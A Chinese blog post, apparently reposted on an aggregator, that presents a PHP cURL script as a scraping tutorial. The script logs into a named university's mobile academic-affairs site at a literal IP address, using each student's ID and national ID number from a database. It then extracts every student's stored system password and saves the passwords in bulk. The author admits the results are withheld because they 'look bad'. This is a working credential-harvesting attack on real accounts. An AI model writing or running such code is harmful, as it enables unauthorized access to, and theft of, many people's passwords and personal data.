zoukankan      html  css  js  c++  java
  • cURL实现模拟登陆+抓取数据

    昨天用到了php中的cURL扩展,想利用cURL做一些实例,我想到一个例子,模拟登陆到我们学校的手机版教务处,然后抓取个人信息里面保存的正方教务处密码。
    手机版教务处:http://211.70.176.123/wap

    <?php
    
    //1、连接数据库,获取学生信息
    include ('./curlUtils.php');//curl工具类
    include ('./Mysql.class.php');//mysql工具类
    
    set_time_limit(0);//设置不间断执行
    $data = Mysql::getAll("select * from student");//所有的学生信息
    
    foreach ($data as $stu){
    
        //2、模拟登陆,获取cookie
        $cookie = login($stu['xh'],$stu['sfzh']);
    
        //3、获取学生的个人信息
        $info = getInfo($cookie);
    
        //4、利用正则解析数据
        $pwd = parseData($info);
    
        //5、写入数据库
        add($stu['xh'],$pwd);
    }
    
    /**
     * 将密码数据写入到数据库中
     * @param [type] $pwd [description]
     */
    function add($xh,$pwd){
        $data = ['pwd'=>$pwd];
        Mysql::exec('student',$data,'update','xh = '.$xh);
    }
    
    /**
     * 利用正则解析数据,返回教务处PC端登陆密码
     * @return [type] [description]
     */
    function parseData($info){
        preg_match_all("/<td align="center" width="150" height="22" valign="middle">.+</td>/",$info,$matches);
        if(empty($matches[0][5])) {
            return '';  
        }
        $dom = new DOMDocument();
        $dom->loadHTML($matches[0][5]);
        $tdList = $dom->getElementsByTagName("td");
        $td = $tdList->item(0);
        $pwd = $td->childNodes->item(0)->wholeText;
        return $pwd;
    }
    
    /**
     * 模拟登陆,获取Cookie
     * @return [type] [description]
     */
    function login($xh,$sfzh){
        $curl = new CurlUtils("http://211.70.176.123/wap/index.asp",true);
        $value = "xh=$xh&sfzh=$sfzh";
        file_put_contents('result.html', $curl->post($value));
        $fh = fopen('result.html', 'r');
        $headers = [];
        for($i=0;$i<8;$i++){   
            $headers[] = fgets($fh);
        }
        fclose($fh);
        return substr($headers[6], 12);
    }
    
    /**
     * 获取学生的个人信息
     * @return [type] [description]
     */
    function getInfo($cookie){
        $curl = new CurlUtils("http://211.70.176.123/wap/grxx.asp");
        $value = ["Cookie: $cookie"]; 
        $curl->addHeader($value);
        return $curl->get();
    }
    
    ?>

    上面的代码主要有5个步骤:
    1、查询数据库中的全部学生
    2、循环遍历学生,模拟登陆,获取cookie
    3、携带cookie获取学生的个人信息
    4、利用正则解析数据,返回教务处PC端登陆密码
    5、写入数据库

    注:上面用到了两个工具类,都是我以前就封装好的,都开源到博客上了。
    curlUtils工具类:http://blog.csdn.net/baochao95/article/details/55105748
    Mysql工具类:http://blog.csdn.net/baochao95/article/details/52055353

    图我就不贴了,毕竟影响不好!

    扩展:
    1、我们还可以自己制作API来判断学生是否属于这个学校
    2、判断学生是否为计算机学院的学生

  • 相关阅读:
    一个网络传输框架——zeroMQ 调研笔记
    Node.js的cluster模块——Web后端多进程服务
    boost::spirit unicode 简用记录
    HTTP的长连接和短连接——Node上的测试
    MongoDB 驱动以及分布式集群读取优先级设置
    Lua知识备忘录
    MongoDB使用小结:一些常用操作分享
    此项目与Visual Studio的当前版本不兼容的报错
    @Controller和@RestController的区别
    SQLSERVER中计算某个字段中用分隔符分割的字符的个数
  • 原文地址:https://www.cnblogs.com/cnsec/p/13407029.html
Copyright © 2011-2022 走看看